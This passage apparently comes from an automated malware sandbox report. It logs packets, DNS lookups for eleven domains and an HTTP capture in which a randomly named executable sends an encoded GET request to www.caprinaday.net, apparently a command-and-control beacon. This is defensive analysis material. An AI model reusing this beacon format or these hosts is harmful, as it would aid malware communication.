                                                                                          Oct 25, 2024 16:55:05.507534027 CEST4944480192.168.2.5199.59.243.227
                                                                                          Oct 25, 2024 16:55:06.327251911 CEST4944480192.168.2.5199.59.243.227
                                                                                          Oct 25, 2024 16:55:07.346033096 CEST4944580192.168.2.5199.59.243.227
                                                                                          Oct 25, 2024 16:55:07.351608992 CEST8049445199.59.243.227192.168.2.5
                                                                                          Oct 25, 2024 16:55:07.358403921 CEST4944580192.168.2.5199.59.243.227
                                                                                          Oct 25, 2024 16:55:07.365854025 CEST4944580192.168.2.5199.59.243.227
                                                                                          Oct 25, 2024 16:55:07.371388912 CEST8049445199.59.243.227192.168.2.5
                                                                                          Oct 25, 2024 16:55:07.371557951 CEST8049445199.59.243.227192.168.2.5
                                                                                          Oct 25, 2024 16:55:07.977205992 CEST8049445199.59.243.227192.168.2.5
                                                                                          Oct 25, 2024 16:55:07.977253914 CEST8049445199.59.243.227192.168.2.5
                                                                                          Oct 25, 2024 16:55:07.977335930 CEST4944580192.168.2.5199.59.243.227
                                                                                          Oct 25, 2024 16:55:07.977643967 CEST8049445199.59.243.227192.168.2.5
                                                                                          Oct 25, 2024 16:55:07.977699995 CEST4944580192.168.2.5199.59.243.227
                                                                                          Oct 25, 2024 16:55:08.874187946 CEST4944580192.168.2.5199.59.243.227
                                                                                          Oct 25, 2024 16:55:09.895378113 CEST4944680192.168.2.5199.59.243.227
                                                                                          Oct 25, 2024 16:55:09.901042938 CEST8049446199.59.243.227192.168.2.5
                                                                                          Oct 25, 2024 16:55:09.901133060 CEST4944680192.168.2.5199.59.243.227
                                                                                          Oct 25, 2024 16:55:09.911267042 CEST4944680192.168.2.5199.59.243.227
                                                                                          Oct 25, 2024 16:55:09.917733908 CEST8049446199.59.243.227192.168.2.5
                                                                                          Oct 25, 2024 16:55:10.518733978 CEST8049446199.59.243.227192.168.2.5
                                                                                          Oct 25, 2024 16:55:10.518773079 CEST8049446199.59.243.227192.168.2.5
                                                                                          Oct 25, 2024 16:55:10.518974066 CEST4944680192.168.2.5199.59.243.227
                                                                                          Oct 25, 2024 16:55:10.519196987 CEST8049446199.59.243.227192.168.2.5
                                                                                          Oct 25, 2024 16:55:10.519258976 CEST4944680192.168.2.5199.59.243.227
                                                                                          Oct 25, 2024 16:55:10.521559000 CEST4944680192.168.2.5199.59.243.227
                                                                                          Oct 25, 2024 16:55:10.527152061 CEST8049446199.59.243.227192.168.2.5
                                                                                          Oct 25, 2024 16:55:15.559804916 CEST4944780192.168.2.538.181.21.169
                                                                                          Oct 25, 2024 16:55:15.568442106 CEST804944738.181.21.169192.168.2.5
                                                                                          Oct 25, 2024 16:55:15.568514109 CEST4944780192.168.2.538.181.21.169
                                                                                          Oct 25, 2024 16:55:15.581482887 CEST4944780192.168.2.538.181.21.169
                                                                                          Oct 25, 2024 16:55:15.594799995 CEST804944738.181.21.169192.168.2.5
                                                                                          Oct 25, 2024 16:55:16.508862019 CEST804944738.181.21.169192.168.2.5
                                                                                          Oct 25, 2024 16:55:16.561563969 CEST4944780192.168.2.538.181.21.169
                                                                                          Oct 25, 2024 16:55:16.678267002 CEST804944738.181.21.169192.168.2.5
                                                                                          Oct 25, 2024 16:55:16.679860115 CEST4944780192.168.2.538.181.21.169
                                                                                          Oct 25, 2024 16:55:17.092931032 CEST4944780192.168.2.538.181.21.169
                                                                                          Oct 25, 2024 16:55:18.112308025 CEST4944880192.168.2.538.181.21.169
                                                                                          Oct 25, 2024 16:55:18.117974043 CEST804944838.181.21.169192.168.2.5
                                                                                          Oct 25, 2024 16:55:18.118062973 CEST4944880192.168.2.538.181.21.169
                                                                                          Oct 25, 2024 16:55:18.129079103 CEST4944880192.168.2.538.181.21.169
                                                                                          Oct 25, 2024 16:55:18.134603977 CEST804944838.181.21.169192.168.2.5
                                                                                          Oct 25, 2024 16:55:19.073456049 CEST804944838.181.21.169192.168.2.5
                                                                                          Oct 25, 2024 16:55:19.125972986 CEST4944880192.168.2.538.181.21.169
                                                                                          Oct 25, 2024 16:55:19.255054951 CEST804944838.181.21.169192.168.2.5
                                                                                          Oct 25, 2024 16:55:19.255157948 CEST4944880192.168.2.538.181.21.169
                                                                                          Oct 25, 2024 16:55:19.639796972 CEST4944880192.168.2.538.181.21.169
                                                                                          Oct 25, 2024 16:55:20.661864042 CEST4944980192.168.2.538.181.21.169
                                                                                          Oct 25, 2024 16:55:20.667654037 CEST804944938.181.21.169192.168.2.5
                                                                                          Oct 25, 2024 16:55:20.674259901 CEST4944980192.168.2.538.181.21.169
                                                                                          Oct 25, 2024 16:55:20.682038069 CEST4944980192.168.2.538.181.21.169
                                                                                          Oct 25, 2024 16:55:20.687802076 CEST804944938.181.21.169192.168.2.5
                                                                                          Oct 25, 2024 16:55:20.687823057 CEST804944938.181.21.169192.168.2.5
                                                                                          Oct 25, 2024 16:55:21.628122091 CEST804944938.181.21.169192.168.2.5
                                                                                          Oct 25, 2024 16:55:21.671057940 CEST4944980192.168.2.538.181.21.169
                                                                                          Oct 25, 2024 16:55:21.802937984 CEST804944938.181.21.169192.168.2.5
                                                                                          Oct 25, 2024 16:55:21.803164005 CEST4944980192.168.2.538.181.21.169
                                                                                          Oct 25, 2024 16:55:22.187052965 CEST4944980192.168.2.538.181.21.169
                                                                                          Oct 25, 2024 16:55:23.207799911 CEST4945080192.168.2.538.181.21.169
                                                                                          Oct 25, 2024 16:55:23.213273048 CEST804945038.181.21.169192.168.2.5
                                                                                          Oct 25, 2024 16:55:23.213572979 CEST4945080192.168.2.538.181.21.169
                                                                                          Oct 25, 2024 16:55:23.223798990 CEST4945080192.168.2.538.181.21.169
                                                                                          Oct 25, 2024 16:55:23.229377985 CEST804945038.181.21.169192.168.2.5
                                                                                          Oct 25, 2024 16:55:24.170774937 CEST804945038.181.21.169192.168.2.5
                                                                                          Oct 25, 2024 16:55:24.217845917 CEST4945080192.168.2.538.181.21.169
                                                                                          Oct 25, 2024 16:55:24.352030039 CEST804945038.181.21.169192.168.2.5
                                                                                          Oct 25, 2024 16:55:24.352163076 CEST4945080192.168.2.538.181.21.169
                                                                                          Oct 25, 2024 16:55:24.353286028 CEST4945080192.168.2.538.181.21.169
                                                                                          Oct 25, 2024 16:55:24.358643055 CEST804945038.181.21.169192.168.2.5
                                                                                          Oct 25, 2024 16:55:29.383829117 CEST4945180192.168.2.5104.21.83.154
                                                                                          Oct 25, 2024 16:55:29.389292002 CEST8049451104.21.83.154192.168.2.5
                                                                                          Oct 25, 2024 16:55:29.391907930 CEST4945180192.168.2.5104.21.83.154
                                                                                          Oct 25, 2024 16:55:29.403829098 CEST4945180192.168.2.5104.21.83.154
                                                                                          Oct 25, 2024 16:55:29.409249067 CEST8049451104.21.83.154192.168.2.5
                                                                                          Oct 25, 2024 16:55:30.070547104 CEST8049451104.21.83.154192.168.2.5
                                                                                          Oct 25, 2024 16:55:30.070569992 CEST8049451104.21.83.154192.168.2.5
                                                                                          Oct 25, 2024 16:55:30.070580006 CEST8049451104.21.83.154192.168.2.5
                                                                                          Oct 25, 2024 16:55:30.070590973 CEST8049451104.21.83.154192.168.2.5
                                                                                          Oct 25, 2024 16:55:30.070616961 CEST8049451104.21.83.154192.168.2.5
                                                                                          Oct 25, 2024 16:55:30.070627928 CEST8049451104.21.83.154192.168.2.5
                                                                                          Oct 25, 2024 16:55:30.070651054 CEST8049451104.21.83.154192.168.2.5
                                                                                          Oct 25, 2024 16:55:30.070653915 CEST4945180192.168.2.5104.21.83.154
                                                                                          Oct 25, 2024 16:55:30.070653915 CEST4945180192.168.2.5104.21.83.154
                                                                                          Oct 25, 2024 16:55:30.070662022 CEST8049451104.21.83.154192.168.2.5
                                                                                          Oct 25, 2024 16:55:30.070763111 CEST4945180192.168.2.5104.21.83.154
                                                                                          Oct 25, 2024 16:55:30.070763111 CEST4945180192.168.2.5104.21.83.154
                                                                                          Oct 25, 2024 16:55:30.073249102 CEST8049451104.21.83.154192.168.2.5
                                                                                          Oct 25, 2024 16:55:30.073295116 CEST4945180192.168.2.5104.21.83.154
                                                                                          Oct 25, 2024 16:55:30.905901909 CEST4945180192.168.2.5104.21.83.154
                                                                                          Oct 25, 2024 16:55:31.924432993 CEST4945280192.168.2.5104.21.83.154
                                                                                          Oct 25, 2024 16:55:31.930105925 CEST8049452104.21.83.154192.168.2.5
                                                                                          Oct 25, 2024 16:55:31.930200100 CEST4945280192.168.2.5104.21.83.154
                                                                                          Oct 25, 2024 16:55:31.940980911 CEST4945280192.168.2.5104.21.83.154
                                                                                          Oct 25, 2024 16:55:31.946438074 CEST8049452104.21.83.154192.168.2.5
                                                                                          Oct 25, 2024 16:55:32.635912895 CEST8049452104.21.83.154192.168.2.5
                                                                                          Oct 25, 2024 16:55:32.635945082 CEST8049452104.21.83.154192.168.2.5
                                                                                          Oct 25, 2024 16:55:32.635963917 CEST8049452104.21.83.154192.168.2.5
                                                                                          Oct 25, 2024 16:55:32.635981083 CEST8049452104.21.83.154192.168.2.5
                                                                                          Oct 25, 2024 16:55:32.635998964 CEST8049452104.21.83.154192.168.2.5
                                                                                          Oct 25, 2024 16:55:32.636015892 CEST8049452104.21.83.154192.168.2.5
                                                                                          Oct 25, 2024 16:55:32.636054993 CEST8049452104.21.83.154192.168.2.5
                                                                                          Oct 25, 2024 16:55:32.636064053 CEST4945280192.168.2.5104.21.83.154
                                                                                          Oct 25, 2024 16:55:32.636101961 CEST4945280192.168.2.5104.21.83.154
                                                                                          Oct 25, 2024 16:55:32.637254000 CEST8049452104.21.83.154192.168.2.5
                                                                                          Oct 25, 2024 16:55:32.638889074 CEST4945280192.168.2.5104.21.83.154
                                                                                          Oct 25, 2024 16:55:33.454837084 CEST4945280192.168.2.5104.21.83.154
                                                                                          Oct 25, 2024 16:55:34.474168062 CEST4945380192.168.2.5104.21.83.154
                                                                                          Oct 25, 2024 16:55:34.479633093 CEST8049453104.21.83.154192.168.2.5
                                                                                          Oct 25, 2024 16:55:34.479707003 CEST4945380192.168.2.5104.21.83.154
                                                                                          Oct 25, 2024 16:55:34.497886896 CEST4945380192.168.2.5104.21.83.154
                                                                                          Oct 25, 2024 16:55:34.503392935 CEST8049453104.21.83.154192.168.2.5
                                                                                          Oct 25, 2024 16:55:34.503509998 CEST8049453104.21.83.154192.168.2.5
                                                                                          Oct 25, 2024 16:55:35.179636955 CEST8049453104.21.83.154192.168.2.5
                                                                                          Oct 25, 2024 16:55:35.179692030 CEST8049453104.21.83.154192.168.2.5
                                                                                          Oct 25, 2024 16:55:35.179713964 CEST8049453104.21.83.154192.168.2.5
                                                                                          Oct 25, 2024 16:55:35.179730892 CEST8049453104.21.83.154192.168.2.5
                                                                                          Oct 25, 2024 16:55:35.179749012 CEST8049453104.21.83.154192.168.2.5
                                                                                          Oct 25, 2024 16:55:35.179774046 CEST8049453104.21.83.154192.168.2.5
                                                                                          Oct 25, 2024 16:55:35.179791927 CEST4945380192.168.2.5104.21.83.154
                                                                                          Oct 25, 2024 16:55:35.179795027 CEST8049453104.21.83.154192.168.2.5
                                                                                          Oct 25, 2024 16:55:35.179838896 CEST4945380192.168.2.5104.21.83.154
                                                                                          Oct 25, 2024 16:55:35.179838896 CEST4945380192.168.2.5104.21.83.154
                                                                                          Oct 25, 2024 16:55:35.181385994 CEST8049453104.21.83.154192.168.2.5
                                                                                          Oct 25, 2024 16:55:35.183880091 CEST4945380192.168.2.5104.21.83.154
                                                                                          Oct 25, 2024 16:55:36.014745951 CEST4945380192.168.2.5104.21.83.154
                                                                                          Oct 25, 2024 16:55:37.034367085 CEST4945480192.168.2.5104.21.83.154
                                                                                          Oct 25, 2024 16:55:37.040071011 CEST8049454104.21.83.154192.168.2.5
                                                                                          Oct 25, 2024 16:55:37.042346954 CEST4945480192.168.2.5104.21.83.154
                                                                                          Oct 25, 2024 16:55:37.050436974 CEST4945480192.168.2.5104.21.83.154
                                                                                          Oct 25, 2024 16:55:37.055830002 CEST8049454104.21.83.154192.168.2.5
                                                                                          Oct 25, 2024 16:55:37.742943048 CEST8049454104.21.83.154192.168.2.5
                                                                                          Oct 25, 2024 16:55:37.745256901 CEST8049454104.21.83.154192.168.2.5
                                                                                          Oct 25, 2024 16:55:37.745377064 CEST4945480192.168.2.5104.21.83.154
                                                                                          Oct 25, 2024 16:55:37.746587038 CEST4945480192.168.2.5104.21.83.154
                                                                                          Oct 25, 2024 16:55:37.755094051 CEST8049454104.21.83.154192.168.2.5
                                                                                          Oct 25, 2024 16:55:42.921936989 CEST4945580192.168.2.53.33.130.190
                                                                                          Oct 25, 2024 16:55:42.927294970 CEST80494553.33.130.190192.168.2.5
                                                                                          Oct 25, 2024 16:55:42.930042028 CEST4945580192.168.2.53.33.130.190
                                                                                          Oct 25, 2024 16:55:42.940778971 CEST4945580192.168.2.53.33.130.190
                                                                                          Oct 25, 2024 16:55:42.946171999 CEST80494553.33.130.190192.168.2.5
                                                                                          Oct 25, 2024 16:55:43.632138014 CEST80494553.33.130.190192.168.2.5
                                                                                          Oct 25, 2024 16:55:43.632227898 CEST4945580192.168.2.53.33.130.190
                                                                                          Oct 25, 2024 16:55:44.452270985 CEST4945580192.168.2.53.33.130.190
                                                                                          Oct 25, 2024 16:55:44.457921028 CEST80494553.33.130.190192.168.2.5
                                                                                          Oct 25, 2024 16:55:45.471889973 CEST4945680192.168.2.53.33.130.190
                                                                                          Oct 25, 2024 16:55:45.477598906 CEST80494563.33.130.190192.168.2.5
                                                                                          Oct 25, 2024 16:55:45.480043888 CEST4945680192.168.2.53.33.130.190
                                                                                          Oct 25, 2024 16:55:45.491887093 CEST4945680192.168.2.53.33.130.190
                                                                                          Oct 25, 2024 16:55:45.497404099 CEST80494563.33.130.190192.168.2.5
                                                                                          Oct 25, 2024 16:55:46.108896971 CEST80494563.33.130.190192.168.2.5
                                                                                          Oct 25, 2024 16:55:46.109016895 CEST4945680192.168.2.53.33.130.190
                                                                                          Oct 25, 2024 16:55:46.999280930 CEST4945680192.168.2.53.33.130.190
                                                                                          Oct 25, 2024 16:55:47.005245924 CEST80494563.33.130.190192.168.2.5
                                                                                          Oct 25, 2024 16:55:48.019018888 CEST4945780192.168.2.53.33.130.190
                                                                                          Oct 25, 2024 16:55:48.024724960 CEST80494573.33.130.190192.168.2.5
                                                                                          Oct 25, 2024 16:55:48.024790049 CEST4945780192.168.2.53.33.130.190
                                                                                          Oct 25, 2024 16:55:48.041011095 CEST4945780192.168.2.53.33.130.190
                                                                                          Oct 25, 2024 16:55:48.046755075 CEST80494573.33.130.190192.168.2.5
                                                                                          Oct 25, 2024 16:55:48.046868086 CEST80494573.33.130.190192.168.2.5
                                                                                          Oct 25, 2024 16:55:48.662756920 CEST80494573.33.130.190192.168.2.5
                                                                                          Oct 25, 2024 16:55:48.663919926 CEST4945780192.168.2.53.33.130.190
                                                                                          Oct 25, 2024 16:55:49.545999050 CEST4945780192.168.2.53.33.130.190
                                                                                          Oct 25, 2024 16:55:49.551450014 CEST80494573.33.130.190192.168.2.5
                                                                                          Oct 25, 2024 16:55:50.564651966 CEST4945880192.168.2.53.33.130.190
                                                                                          Oct 25, 2024 16:55:50.570244074 CEST80494583.33.130.190192.168.2.5
                                                                                          Oct 25, 2024 16:55:50.570355892 CEST4945880192.168.2.53.33.130.190
                                                                                          Oct 25, 2024 16:55:50.577765942 CEST4945880192.168.2.53.33.130.190
                                                                                          Oct 25, 2024 16:55:50.583431005 CEST80494583.33.130.190192.168.2.5
                                                                                          Oct 25, 2024 16:55:51.202333927 CEST80494583.33.130.190192.168.2.5
                                                                                          Oct 25, 2024 16:55:51.202976942 CEST80494583.33.130.190192.168.2.5
                                                                                          Oct 25, 2024 16:55:51.207817078 CEST4945880192.168.2.53.33.130.190
                                                                                          Oct 25, 2024 16:55:51.211812973 CEST4945880192.168.2.53.33.130.190
                                                                                          Oct 25, 2024 16:55:51.217912912 CEST80494583.33.130.190192.168.2.5

                                                                                          UDP Packets

                                                                                          TimestampSource PortDest PortSource IPDest IP
                                                                                          Oct 25, 2024 16:53:09.303966999 CEST53650801.1.1.1192.168.2.5
                                                                                          Oct 25, 2024 16:53:23.276251078 CEST5552453192.168.2.51.1.1.1
                                                                                          Oct 25, 2024 16:53:23.349103928 CEST53555241.1.1.1192.168.2.5
                                                                                          Oct 25, 2024 16:53:39.393769979 CEST5714153192.168.2.51.1.1.1
                                                                                          Oct 25, 2024 16:53:40.152575970 CEST53571411.1.1.1192.168.2.5
                                                                                          Oct 25, 2024 16:53:54.081880093 CEST5384853192.168.2.51.1.1.1
                                                                                          Oct 25, 2024 16:53:54.215815067 CEST53538481.1.1.1192.168.2.5
                                                                                          Oct 25, 2024 16:54:07.584604979 CEST5144853192.168.2.51.1.1.1
                                                                                          Oct 25, 2024 16:54:07.687756062 CEST53514481.1.1.1192.168.2.5
                                                                                          Oct 25, 2024 16:54:21.338362932 CEST5677353192.168.2.51.1.1.1
                                                                                          Oct 25, 2024 16:54:21.642215967 CEST53567731.1.1.1192.168.2.5
                                                                                          Oct 25, 2024 16:54:35.003776073 CEST5801153192.168.2.51.1.1.1
                                                                                          Oct 25, 2024 16:54:35.016892910 CEST53580111.1.1.1192.168.2.5
                                                                                          Oct 25, 2024 16:54:48.393999100 CEST5798453192.168.2.51.1.1.1
                                                                                          Oct 25, 2024 16:54:48.410868883 CEST53579841.1.1.1192.168.2.5
                                                                                          Oct 25, 2024 16:55:01.956280947 CEST6444353192.168.2.51.1.1.1
                                                                                          Oct 25, 2024 16:55:02.253027916 CEST53644431.1.1.1192.168.2.5
                                                                                          Oct 25, 2024 16:55:15.539822102 CEST5870153192.168.2.51.1.1.1
                                                                                          Oct 25, 2024 16:55:15.553005934 CEST53587011.1.1.1192.168.2.5
                                                                                          Oct 25, 2024 16:55:29.365931034 CEST4939553192.168.2.51.1.1.1
                                                                                          Oct 25, 2024 16:55:29.380532980 CEST53493951.1.1.1192.168.2.5
                                                                                          Oct 25, 2024 16:55:42.752686024 CEST5092253192.168.2.51.1.1.1
                                                                                          Oct 25, 2024 16:55:42.915891886 CEST53509221.1.1.1192.168.2.5

                                                                                          DNS Queries

                                                                                          TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                          Oct 25, 2024 16:53:23.276251078 CEST192.168.2.51.1.1.10x286bStandard query (0)www.caprinaday.netA (IP address)IN (0x0001)false
                                                                                          Oct 25, 2024 16:53:39.393769979 CEST192.168.2.51.1.1.10x35eStandard query (0)www.73613.shopA (IP address)IN (0x0001)false
                                                                                          Oct 25, 2024 16:53:54.081880093 CEST192.168.2.51.1.1.10x33d0Standard query (0)www.innovate.dentalA (IP address)IN (0x0001)false
                                                                                          Oct 25, 2024 16:54:07.584604979 CEST192.168.2.51.1.1.10xaee2Standard query (0)www.senova.netA (IP address)IN (0x0001)false
                                                                                          Oct 25, 2024 16:54:21.338362932 CEST192.168.2.51.1.1.10xb9ccStandard query (0)www.moneta.lifeA (IP address)IN (0x0001)false
                                                                                          Oct 25, 2024 16:54:35.003776073 CEST192.168.2.51.1.1.10xf18fStandard query (0)www.mtmc.xyzA (IP address)IN (0x0001)false
                                                                                          Oct 25, 2024 16:54:48.393999100 CEST192.168.2.51.1.1.10x762Standard query (0)www.zonguldakescortg.xyzA (IP address)IN (0x0001)false
                                                                                          Oct 25, 2024 16:55:01.956280947 CEST192.168.2.51.1.1.10x340dStandard query (0)www.deepfy.xyzA (IP address)IN (0x0001)false
                                                                                          Oct 25, 2024 16:55:15.539822102 CEST192.168.2.51.1.1.10xfd8aStandard query (0)www.yhh5.oneA (IP address)IN (0x0001)false
                                                                                          Oct 25, 2024 16:55:29.365931034 CEST192.168.2.51.1.1.10x1c88Standard query (0)www.theawareness.shopA (IP address)IN (0x0001)false
                                                                                          Oct 25, 2024 16:55:42.752686024 CEST192.168.2.51.1.1.10x42a0Standard query (0)www.co2cartridges.netA (IP address)IN (0x0001)false

                                                                                          DNS Answers

                                                                                          TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                          Oct 25, 2024 16:53:23.349103928 CEST1.1.1.1192.168.2.50x286bNo error (0)www.caprinaday.net62.149.128.45A (IP address)IN (0x0001)false
                                                                                          Oct 25, 2024 16:53:40.152575970 CEST1.1.1.1192.168.2.50x35eNo error (0)www.73613.shop180.178.39.237A (IP address)IN (0x0001)false
                                                                                          Oct 25, 2024 16:53:40.152575970 CEST1.1.1.1192.168.2.50x35eNo error (0)www.73613.shop180.178.39.238A (IP address)IN (0x0001)false
                                                                                          Oct 25, 2024 16:53:40.152575970 CEST1.1.1.1192.168.2.50x35eNo error (0)www.73613.shop180.178.39.236A (IP address)IN (0x0001)false
                                                                                          Oct 25, 2024 16:53:40.152575970 CEST1.1.1.1192.168.2.50x35eNo error (0)www.73613.shop180.178.39.235A (IP address)IN (0x0001)false
                                                                                          Oct 25, 2024 16:53:54.215815067 CEST1.1.1.1192.168.2.50x33d0No error (0)www.innovate.dental104.21.68.22A (IP address)IN (0x0001)false
                                                                                          Oct 25, 2024 16:53:54.215815067 CEST1.1.1.1192.168.2.50x33d0No error (0)www.innovate.dental172.67.185.116A (IP address)IN (0x0001)false
                                                                                          Oct 25, 2024 16:54:07.687756062 CEST1.1.1.1192.168.2.50xaee2No error (0)www.senova.net159.25.16.28A (IP address)IN (0x0001)false
                                                                                          Oct 25, 2024 16:54:21.642215967 CEST1.1.1.1192.168.2.50xb9ccNo error (0)www.moneta.life13.248.169.48A (IP address)IN (0x0001)false
                                                                                          Oct 25, 2024 16:54:21.642215967 CEST1.1.1.1192.168.2.50xb9ccNo error (0)www.moneta.life76.223.54.146A (IP address)IN (0x0001)false
                                                                                          Oct 25, 2024 16:54:35.016892910 CEST1.1.1.1192.168.2.50xf18fNo error (0)www.mtmc.xyz69.57.163.227A (IP address)IN (0x0001)false
                                                                                          Oct 25, 2024 16:54:48.410868883 CEST1.1.1.1192.168.2.50x762No error (0)www.zonguldakescortg.xyz188.114.96.3A (IP address)IN (0x0001)false
                                                                                          Oct 25, 2024 16:54:48.410868883 CEST1.1.1.1192.168.2.50x762No error (0)www.zonguldakescortg.xyz188.114.97.3A (IP address)IN (0x0001)false
                                                                                          Oct 25, 2024 16:55:02.253027916 CEST1.1.1.1192.168.2.50x340dNo error (0)www.deepfy.xyz199.59.243.227A (IP address)IN (0x0001)false
                                                                                          Oct 25, 2024 16:55:15.553005934 CEST1.1.1.1192.168.2.50xfd8aNo error (0)www.yhh5.one38.181.21.169A (IP address)IN (0x0001)false
                                                                                          Oct 25, 2024 16:55:29.380532980 CEST1.1.1.1192.168.2.50x1c88No error (0)www.theawareness.shop104.21.83.154A (IP address)IN (0x0001)false
                                                                                          Oct 25, 2024 16:55:29.380532980 CEST1.1.1.1192.168.2.50x1c88No error (0)www.theawareness.shop172.67.177.220A (IP address)IN (0x0001)false
                                                                                          Oct 25, 2024 16:55:42.915891886 CEST1.1.1.1192.168.2.50x42a0No error (0)www.co2cartridges.netco2cartridges.netCNAME (Canonical name)IN (0x0001)false
                                                                                          Oct 25, 2024 16:55:42.915891886 CEST1.1.1.1192.168.2.50x42a0No error (0)co2cartridges.net3.33.130.190A (IP address)IN (0x0001)false
                                                                                          Oct 25, 2024 16:55:42.915891886 CEST1.1.1.1192.168.2.50x42a0No error (0)co2cartridges.net15.197.148.33A (IP address)IN (0x0001)false

                                                                                          HTTP Request Dependency Graph

                                                                                          • www.caprinaday.net
                                                                                          • www.73613.shop
                                                                                          • www.innovate.dental
                                                                                          • www.senova.net
                                                                                          • www.moneta.life
                                                                                          • www.mtmc.xyz
                                                                                          • www.zonguldakescortg.xyz
                                                                                          • www.deepfy.xyz
                                                                                          • www.yhh5.one
                                                                                          • www.theawareness.shop
                                                                                          • www.co2cartridges.net

                                                                                          HTTP Packets

                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                          0192.168.2.54924362.149.128.45803496C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe
                                                                                          TimestampBytes transferredDirectionData
                                                                                          Oct 25, 2024 16:53:23.371490955 CEST494OUTGET /jb8r/?zB=nPlhZPwp4vxtG8&fnr=TDGhLsnTem6euQMJN5SR1/vZdrcnvuH3b9u1dtlDKX98DypGfRzLoU+4CmaNhp/imi4raGrWIiVLyDJ0KU439EqI/67TVpzwQnGnuy5SUsP/vsjsUPAeQFmfLp6fskgf8w== HTTP/1.1
                                                                                          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                          Accept-Language: en-US,en;q=0.9
                                                                                          Connection: close
                                                                                          Host: www.caprinaday.net
                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                          Oct 25, 2024 16:53:24.220943928 CEST1236INHTTP/1.1 404 Not Found
                                                                                          Cache-Control: private
                                                                                          Content-Type: text/html; charset=utf-8
                                                                                          Server: Microsoft-IIS/10.0
                                                                                          X-Powered-By: ASP.NET
                                                                                          Date: Fri, 25 Oct 2024 14:53:23 GMT
                                                                                          Connection: close
                                                                                          Content-Length: 5115
                                                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 20 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 20 0a 3c 68 65 61 64 3e 20 0a 3c 74 69 74 6c 65 3e 49 49 53 20 31 30 2e 30 20 44 65 74 61 69 6c 65 64 20 45 72 72 6f 72 20 2d 20 34 30 34 2e 30 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 20 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 20 0a 3c 21 2d 2d 20 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 41 72 69 61 6c 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 0a 63 6f 64 65 [TRUNCATED]
                                                                                          Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>IIS 10.0 Detailed Error - 404.0 - Not Found</title> <style type="text/css"> ... body{margin:0;font-size:.7em;font-family:Verdana,Arial,Helvetica,sans-serif;} code{margin:0;color:#006600;font-size:1.1em;font-weight:bold;} .config_source code{font-size:.8em;color:#000000;} pre{margin:0;font-size:1.4em;word-wrap:break-word;} ul,ol{margin:10px 0 10px 5px;} ul.first,ol.first{margin-top:5px;} fieldset{padding:0 15px 10px 15px;word-break:break-all;} .summary-container fieldset{padding-bottom:5px;margin-top:4px;} legend.no-expand-all{padding:2px 15px 4px 10px;margin:0 0 0 -12px;} legend{color:#333333;;margin:4px 0 8px -12px;_margin-top:0px; font-weight:bold;font-size:1em;} a:link,a:visited{color:#007EFF;font-weight:bold;} a:hover{text-decoration:none;} h1{font-size:2.4em;margin:0;color:#FFF;} h2{font-size:1.7em;margin:0 [TRUNCATED]
                                                                                          Oct 25, 2024 16:53:24.220973969 CEST1236INData Raw: 72 3a 23 43 43 30 30 30 30 3b 7d 20 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e
                                                                                          Data Ascii: r:#CC0000;} h3{font-size:1.4em;margin:10px 0 0 0;color:#CC0000;} h4{font-size:1.2em;margin:10px 0 5px 0; }#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS",Verdana,sans-serif; color:#FFF;background-color:#5
                                                                                          Oct 25, 2024 16:53:24.220984936 CEST1236INData Raw: 3a 69 74 61 6c 69 63 3b 7d 20 0a 2e 63 6c 65 61 72 7b 63 6c 65 61 72 3a 62 6f 74 68 3b 7d 20 0a 2e 70 72 65 66 65 72 72 65 64 7b 70 61 64 64 69 6e 67 3a 30 20 35 70 78 20 32 70 78 20 35 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61
                                                                                          Data Ascii: :italic;} .clear{clear:both;} .preferred{padding:0 5px 2px 5px;font-weight:normal;background:#006633;color:#FFF;font-size:.8em;} --> </style> </head> <body> <div id="content"> <div class="content-container"> <h3>HTTP Error 404.0 -
